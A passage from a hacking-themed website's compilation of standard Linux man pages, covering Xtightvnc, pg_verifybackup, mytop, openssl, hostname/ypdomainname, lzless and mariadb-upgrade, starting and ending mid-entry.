(environment variable: PIP_NO_CACHE_DIR)

–disable-pip-version-check
Don’t periodically check PyPI to determine whether a new version of pip is available for download. Implied with –no-index.

(environment variable: PIP_DISABLE_PIP_VERSION_CHECK)

–no-color
Suppress colored output.

(environment variable: PIP_NO_COLOR)

–no-python-version-warning
Silence deprecation warnings for upcoming unsupported Pythons.

(environment variable: PIP_NO_PYTHON_VERSION_WARNING)

–use-feature <feature>
Enable new functionality, that may be backward incompatible.

(environment variable: PIP_USE_FEATURE)

–use-deprecated <feature>
Enable deprecated functionality, that will be removed in the future.

(environment variable: PIP_USE_DEPRECATED)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1974 - Linux cli command Xtightvnc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command Xtightvnc and provides detailed information about the command Xtightvnc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the Xtightvnc.

NAME 🖥️ Xtightvnc 🖥️

an X server providing VNC connectivity

SYNOPSIS

Xvnc
[:display] [-geometry widthxheight] [-depth depth] [-pixelformat rgbNNN|bgrNNN] [-udpinputport port] [-rfbport port] [-rfbwait time] [-nocursor] [-rfbauth passwd-file] [-httpd dir] [-httpport port] [-deferupdate time] [-economictranslate] [-lazytight] [-desktop name] [-alwaysshared] [-nevershared] [-dontdisconnect] [-viewonly] [-localhost] [-interface ipaddr] [-inetd] [-compatiblekbd] [X-options…]

DESCRIPTION

Xvnc is a VNC (Virtual Network Computing) server. It acts like an X server with a virtual display. The display can be seen by a VNC viewer application, which may be running on a different machine: see vncviewer(1). Xvnc is built inside the source code tree of XFree86, and shares many options with it.

Normally, you don’t need to start Xvnc manually; use the vncserver(1) wrapper script instead. This script sets reasonable defaults for Xvnc session, checks many error conditions etc.

Please read the BUGS section if you plan to use VNC on an untrusted network.

OPTIONS

Xvnc supports many standard X server options and a number of VNC-specific options. To see what standard X server options are supported, please look at the Xvnc -help output and read the Xserver(1) manual page for details on those options.

The VNC-specific options are as follows:

-geometry widthxheight
Set desktop width and height.

-depth depth
Set the colour depth of the visual to provide, in bits per pixel. Must be a value between 8 and 32.

-pixelformat rgbNNN|bgrNNN
Set colour format for pixels representation. The viewer can do the conversion to any other pixel format, but it is faster if the depth and pixel format of the server is the same as the equivalent values on the viewer display.

-udpinputport port
UDP port for keyboard/pointer data.

-rfbport port
TCP port for RFB protocol. The RFB protocol is used for communication between VNC server and clients.

-rfbwait time
Maximum time, in milliseconds, to wait for an RFB client (VNC viewer).

-nocursor
Don’t put up a pointer cursor on the desktop.

-rfbauth passwd-file
Use authentication on RFB protocol from the specified file. The passwd-file can be created using the vncpasswd(1) utility.

-httpd dir
Serve files via HTTP protocol from the specified directory. Normally, Java viewer classes are stored in such directory.

-httpport port
TCP port on which Xvnc should listen for incoming HTTP connections (to allow access to the desktop from any Java-capable browser).

-deferupdate time
Time in milliseconds, to defer screen updates (default 40). Deferring updates helps to coalesce many small desktop changes into a few larger updates thus saving network bandwidth.

-economictranslate
Use less memory-hungry pixel format translation.

-lazytight
Disable the “gradient” filter in Tight encoding (TightVNC-specific). The “gradient” filter often helps to improve data compression ratios, but may slow down the server performance. Please note that this filter is never used when a client enables JPEG compression in the Tight encoding.

-desktop name
Set VNC desktop name (“x11” by default).

-alwaysshared
Always treat new clients as shared, never disconnect existing client on a new client connection.

-nevershared
Never treat new clients as shared, do not allow several simultaneous client connections.

-dontdisconnect
Don’t disconnect existing clients when a new non-shared connection comes in, refuse new connection instead.

-viewonly
Don’t accept keboard and pointer events from clients. All clients will be able to see the desktop but won’t be able to control it.

-localhost
Only allow loopback connections from localhost. This option is useful in conjunction with SSH tunneling.

-interface ipaddr
Listen for client connections only on the network interface with given ipaddr.

-inetd
Xvnc is launched by inetd. This option causes Xvnc to redirect network input/output to stdin/stdout.

-compatiblekbd
Set META and ALT keys to the same X modifier flag, as in the original version of Xvnc by AT&T labs (TightVNC-specific).

BUGS

There are many security problems in current Xvnc implementation. It’s recommended to restrict network access to Xvnc servers from untrusted network addresses. Probably, the best way to secure Xvnc server is to allow only loopback connections from the server machine (the -localhost option) and to use SSH tunneling for remote access to the Xvnc server. For details on SSH tunneling, see <URL:http://www.cl.cam.ac.uk/Research/DTG/attarchive/vnc/sshvnc.html> .

SEE ALSO

vncserver(1), vncviewer(1), vncpasswd(1), vncconnect(1), sshd(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1975 - Linux cli command pg_verifybackup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_verifybackup and provides detailed information about the command pg_verifybackup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_verifybackup.

NAME 🖥️ pg_verifybackup 🖥️

verify the integrity of a base backup of a PostgreSQL cluster

SYNOPSIS

pg_verifybackup [option…]

DESCRIPTION

pg_verifybackup is used to check the integrity of a database cluster backup taken using pg_basebackup against a backup_manifest generated by the server at the time of the backup. The backup must be stored in the “plain” format; a “tar” format backup can be checked after extracting it.

It is important to note that the validation which is performed by pg_verifybackup does not and cannot include every check which will be performed by a running server when attempting to make use of the backup. Even if you use this tool, you should still perform test restores and verify that the resulting databases work as expected and that they appear to contain the correct data. However, pg_verifybackup can detect many problems that commonly occur due to storage problems or user error.

Backup verification proceeds in four stages. First, pg_verifybackup reads the backup_manifest file. If that file does not exist, cannot be read, is malformed, or fails verification against its own internal checksum, pg_verifybackup will terminate with a fatal error.

Second, pg_verifybackup will attempt to verify that the data files currently stored on disk are exactly the same as the data files which the server intended to send, with some exceptions that are described below. Extra and missing files will be detected, with a few exceptions. This step will ignore the presence or absence of, or any modifications to, postgresql.auto.conf, standby.signal, and recovery.signal, because it is expected that these files may have been created or modified as part of the process of taking the backup. It also wont complain about a backup_manifest file in the target directory or about anything inside pg_wal, even though these files wont be listed in the backup manifest. Only files are checked; the presence or absence of directories is not verified, except indirectly: if a directory is missing, any files it should have contained will necessarily also be missing.

Next, pg_verifybackup will checksum all the files, compare the checksums against the values in the manifest, and emit errors for any files for which the computed checksum does not match the checksum stored in the manifest. This step is not performed for any files which produced errors in the previous step, since they are already known to have problems. Files which were ignored in the previous step are also ignored in this step.

Finally, pg_verifybackup will use the manifest to verify that the write-ahead log records which will be needed to recover the backup are present and that they can be read and parsed. The backup_manifest contains information about which write-ahead log records will be needed, and pg_verifybackup will use that information to invoke pg_waldump to parse those write-ahead log records. The –quiet flag will be used, so that pg_waldump will only report errors, without producing any other output. While this level of verification is sufficient to detect obvious problems such as a missing file or one whose internal checksums do not match, they arent extensive enough to detect every possible problem that might occur when attempting to recover. For instance, a server bug that produces write-ahead log records that have the correct checksums but specify nonsensical actions cant be detected by this method.

Note that if extra WAL files which are not required to recover the backup are present, they will not be checked by this tool, although a separate invocation of pg_waldump could be used for that purpose. Also note that WAL verification is version-specific: you must use the version of pg_verifybackup, and thus of pg_waldump, which pertains to the backup being checked. In contrast, the data file integrity checks should work with any version of the server that generates a backup_manifest file.

OPTIONS

pg_verifybackup accepts the following command-line arguments:

-e
–exit-on-error

Exit as soon as a problem with the backup is detected. If this option is not specified, pg_verifybackup will continue checking the backup even after a problem has been detected, and will report all problems detected as errors.

-i path
**–ignore=**path

Ignore the specified file or directory, which should be expressed as a relative path name, when comparing the list of data files actually present in the backup to those listed in the backup_manifest file. If a directory is specified, this option affects the entire subtree rooted at that location. Complaints about extra files, missing files, file size differences, or checksum mismatches will be suppressed if the relative path name matches the specified path name. This option can be specified multiple times.

-m path
**–manifest-path=**path

Use the manifest file at the specified path, rather than one located in the root of the backup directory.

-n
–no-parse-wal

Dont attempt to parse write-ahead log data that will be needed to recover from this backup.

-P
–progress

Enable progress reporting. Turning this on will deliver a progress report while verifying checksums.

This option cannot be used together with the option –quiet.

-q
–quiet

Dont print anything when a backup is successfully verified.

-s
–skip-checksums

Do not verify data file checksums. The presence or absence of files and the sizes of those files will still be checked. This is much faster, because the files themselves do not need to be read.

-w path
**–wal-directory=**path

Try to parse WAL files stored in the specified directory, rather than in pg_wal. This may be useful if the backup is stored in a separate location from the WAL archive.

Other options are also available:

-V
–version

Print the pg_verifybackup version and exit.

-?
–help

Show help about pg_verifybackup command line arguments, and exit.

EXAMPLES

To create a base backup of the server at mydbserver and verify the integrity of the backup:

$ pg_basebackup -h mydbserver -D /usr/local/pgsql/data $ pg_verifybackup /usr/local/pgsql/data

To create a base backup of the server at mydbserver, move the manifest somewhere outside the backup directory, and verify the backup:

$ pg_basebackup -h mydbserver -D /usr/local/pgsql/backup1234 $ mv /usr/local/pgsql/backup1234/backup_manifest /my/secure/location/backup_manifest.1234 $ pg_verifybackup -m /my/secure/location/backup_manifest.1234 /usr/local/pgsql/backup1234

To verify a backup while ignoring a file that was added manually to the backup directory, and also skipping checksum verification:

$ pg_basebackup -h mydbserver -D /usr/local/pgsql/data $ edit /usr/local/pgsql/data/note.to.self $ pg_verifybackup –ignore=note.to.self –skip-checksums /usr/local/pgsql/data

SEE ALSO

pg_basebackup(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1976 - Linux cli command mytop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mytop and provides detailed information about the command mytop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mytop.

NAME 🖥️ mytop 🖥️

display MariaDB server performance info like ’top'

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1977 - Linux cli command rehashssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rehashssl and provides detailed information about the command rehashssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rehashssl.

NAME 🖥️ rehashssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1978 - Linux cli command ypdomainname

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ypdomainname and provides detailed information about the command ypdomainname, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ypdomainname.

NAME 🖥️ ypdomainname 🖥️

show or set the system’s host name
domainname - show or set the system’s NIS/YP domain name
ypdomainname - show or set the system’s NIS/YP domain name
nisdomainname - show or set the system’s NIS/YP domain name
dnsdomainname - show the system’s DNS domain name

SYNOPSIS

hostname [-a|–alias] [-d|–domain] [-f|–fqdn|–long] [-A|–all-fqdns] [-i|–ip-address] [-I|–all-ip-addresses] [-s|–short] [-y|–yp|–nis]
hostname [-b|–boot] [-F|–file filename] [hostname]
hostname [-h|–help] [-V|–version]

domainname [nisdomain] [-F file]
ypdomainname [nisdomain] [-F file]
nisdomainname [nisdomain] [-F file]

dnsdomainname

DESCRIPTION

Hostname is used to display the system’s DNS name, and to display or set its hostname or NIS domain name.

GET NAME

When called without any arguments, the program displays the current names:

hostname will print the name of the system as returned by the gethostname(2) function.

domainname will print the NIS domainname of the system. domainname uses the gethostname(2) function, while ypdomainname and nisdomainname use the getdomainname(2).

dnsdomainname will print the domain part of the FQDN (Fully Qualified Domain Name). The complete FQDN of the system is returned with hostname –fqdn (but see the warnings in section THE FQDN below).

SET NAME

When called with one argument or with the –file option, the commands set the host name or the NIS/YP domain name. hostname uses the sethostname(2) function, while all of the three domainname, ypdomainname and nisdomainname use setdomainname(2). Note, that this is effective only until the next reboot. Edit /etc/hostname for permanent change.

Note, that only the super-user can change the names.

It is not possible to set the FQDN or the DNS domain name with the dnsdomainname command (see THE FQDN below).

The host name is usually set once at system startup in /etc/init.d/hostname.sh (normally by reading the contents of a file which contains the host name, e.g. /etc/hostname).

THE FQDN

The FQDN (Fully Qualified Domain Name) of the system is the name that the resolver(3) returns for the host name, such as, ursula.example.com. It is usually the hostname followed by the DNS domain name (the part after the first dot). You can check the FQDN using hostname –fqdn or the domain name using dnsdomainname.

You cannot change the FQDN with hostname or dnsdomainname.

The recommended method of setting the FQDN is to make the hostname be an alias for the fully qualified name using /etc/hosts, DNS, or NIS. For example, if the hostname was “ursula”, one might have a line in /etc/hosts which reads

127.0.1.1 ursula.example.com ursula

Technically: The FQDN is the name getaddrinfo(3) returns for the host name returned by gethostname(2). The DNS domain name is the part after the first dot.

Therefore it depends on the configuration of the resolver (usually in /etc/host.conf) how you can change it. Usually the hosts file is parsed before DNS or NIS, so it is most common to change the FQDN in /etc/hosts.

If a machine has multiple network interfaces/addresses or is used in a mobile environment, then it may either have multiple FQDNs/domain names or none at all. Therefore avoid using hostname –fqdn, hostname –domain and dnsdomainname. hostname –ip-address is subject to the same limitations so it should be avoided as well.

OPTIONS

-a, –alias
Display the alias name of the host (if used). This option is deprecated and should not be used anymore.

-A, –all-fqdns
Displays all FQDNs of the machine. This option enumerates all configured network addresses on all configured network interfaces, and translates them to DNS domain names. Addresses that cannot be translated (i.e. because they do not have an appropriate reverse IP entry) are skipped. Note that different addresses may resolve to the same name, therefore the output may contain duplicate entries. Do not make any assumptions about the order of the output.

-b, –boot
Always set a hostname; this allows the file specified by -F to be non-existent or empty, in which case the default hostname localhost will be used if none is yet set.

-d, –domain
Display the name of the DNS domain. Don’t use the command domainname to get the DNS domain name because it will show the NIS domain name and not the DNS domain name. Use dnsdomainname instead. See the warnings in section THE FQDN above, and avoid using this option.

-f, –fqdn, –long
Display the FQDN (Fully Qualified Domain Name). A FQDN consists of a short host name and the DNS domain name. Unless you are using bind or NIS for host lookups you can change the FQDN and the DNS domain name (which is part of the FQDN) in the /etc/hosts file. See the warnings in section THE FQDN above und use hostname –all-fqdns instead wherever possible.

-F, –file filename
Read the host name from the specified file. Comments (lines starting with a `#’) are ignored.

-i, –ip-address
Display the network address(es) of the host name. Note that this works only if the host name can be resolved. Avoid using this option; use hostname –all-ip-addresses instead.

-I, –all-ip-addresses
Display all network addresses of the host. This option enumerates all configured addresses on all network interfaces. The loopback interface and IPv6 link-local addresses are omitted. Contrary to option -i, this option does not depend on name resolution. Do not make any assumptions about the order of the output.

-s, –short
Display the short host name. This is the host name cut at the first dot.

-V, –version
Print version information on standard output and exit successfully.

-y, –yp, –nis
Display the NIS domain name. If a parameter is given (or –file name ) then root can also set a new NIS domain.

-h, –help
Print a usage message and exit.

NOTES

The address families hostname tries when looking up the FQDN, aliases and network addresses of the host are determined by the configuration of your resolver. For instance, on GNU Libc systems, the resolver can be instructed to try IPv6 lookups first by using the inet6 option in /etc/resolv.conf.

FILES

/etc/hostname Historically this file was supposed to only contain the hostname and not the full canonical FQDN. Nowadays most software is able to cope with a full FQDN here. This file is read at boot time by the system initialization scripts to set the hostname.

/etc/hosts Usually, this is where one sets the domain name by aliasing the host name to the FQDN.

AUTHORS

Peter Tobias, <[email protected]>
Bernd Eckenfels, <[email protected]> (NIS and manpage).
Michael Meskes, <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1979 - Linux cli command lzless

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzless and provides detailed information about the command lzless, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzless.

NAME 🖥️ lzless 🖥️

view xz or lzma compressed (text) files

SYNOPSIS

xzless [file…]
lzless [file…]

DESCRIPTION

xzless is a filter that displays text from compressed files to a terminal. Files supported by xz(1) are decompressed; other files are assumed to be in uncompressed form already. If no files are given, xzless reads from standard input.

xzless uses less(1) to present its output. Unlike xzmore, its choice of pager cannot be altered by setting an environment variable. Commands are based on both more(1) and vi(1) and allow back and forth movement and searching. See the less(1) manual for more information.

The command named lzless is provided for backward compatibility with LZMA Utils.

ENVIRONMENT

LESSMETACHARS
A list of characters special to the shell. Set by xzless unless it is already set in the environment.

LESSOPEN
Set to a command line to invoke the xz(1) decompressor for preprocessing the input files to less(1).

SEE ALSO

less(1), xz(1), xzmore(1), zless(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1980 - Linux cli command mariadb-upgrade

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-upgrade and provides detailed information about the command mariadb-upgrade, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-upgrade.

NAME 🖥️ mariadb-upgrade 🖥️

upgrade - check tables for MariaDB upgrade (mysql_upgrade is now a symlink to mariadb-upgrade)

SYNOPSIS

mysql_upgrade [options]

DESCRIPTION

mysql_upgrade examines all tables in all databases for incompatibilities with the current version of the MariaDB Server. mysql_upgrade also upgrades the system tables so that you can take advantage of new privileges or capabilities that might have been added.

mysql_upgrade should be executed each time you upgrade MariaDB.

If a table is found to have a possible incompatibility, mysql_upgrade performs a table check. If any problems are found, a table repair is attempted.

Note

On Windows Server 2008 and Windows Vista, you must run mysql_upgrade with administrator privileges. You can do this by running a Command Prompt as Administrator and running the command. Failure to do so may result in the upgrade failing to execute correctly.

Caution

You should always back up your current MariaDB installation before performing an upgrade.

To use mysql_upgrade, make sure that the server is running, and then invoke it like this:

shell> mysql_upgrade [options]

After running mysql_upgrade, stop the server and restart it so that any changes made to the system tables take effect.

mysql_upgrade executes the following commands to check and repair tables and to upgrade the system tables:

mysqlcheck –all-databases –check-upgrade –auto-repair mysql < fix_priv_tables mysqlcheck –all-databases –check-upgrade –fix-db-names –fix-table-names

Notes about the preceding commands:

·

Because mysql_upgrade invokes mysqlcheck with the –all-databases option, it processes all tables in all databases, which might take a long time to complete. Each table is locked and therefore unavailable to other sessions while it is being processed. Check and repair operations can be time-consuming, particularly for large tables.

·

For details about what checks the –check-upgrade option entails, see the description of the FOR UPGRADE option of the CHECK TABLE statement.

·

fix_priv_tables represents a script generated internally by mysql_upgrade that contains SQL statements to upgrade the tables in the mysql database.

All checked and repaired tables are marked with the current MariaDB version number. This ensures that next time you run mysql_upgrade with the same version of the server, it can tell whether there is any need to check or repair the table again.

mysql_upgrade also saves the MariaDB version number in a file named mysql_upgrade_info in the data directory. This is used to quickly check whether all tables have been checked for this release so that table-checking can be skipped. To ignore this file and perform the check regardless, use the –force option.

For this reason, mysql_upgrade needs to be run as a user with write access to the data directory.

If you install MariaDB from RPM packages on Linux, you must install the server and client RPMs. mysql_upgrade is included in the server RPM but requires the client RPM because the latter includes mysqlcheck.

mysql_upgrade supports the following options, which can be specified on the command line or in the [mysql_upgrade] and [client] option file groups. Other options are passed to mysqlcheck. For example, it might be necessary to specify the –password[=password] option. mysql_upgrade also supports the options for processing option files.

·

–help, -?

Display a short help message and exit.

·

**–basedir=**path

Old option accepted for backward compatibility but ignored.

·

**–character-sets-dir=**path

Old option accepted for backward compatibility but ignored.

·

–check-if-upgrade-is-needed

Exit with a status code indicating if an upgrade is needed. Returns 0 if upgrade needed or current version couldn’t be determined, 1 when no action required.

·

**–datadir=**path

Old option accepted for backward compatibility but ignored.

·

**–debug=**path, -# path

For debug builds, output debug log.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info, -T

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-character-set=**name

Old option accepted for backward compatibility but ignored.

·

–force

Ignore the mysql_upgrade_info file and force execution of mysqlcheck even if mysql_upgrade has already been executed for the current version of MariaDB.

·

–host

Connect to MariaDB on the given host.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysql_upgrade prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–silent

Print less information.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

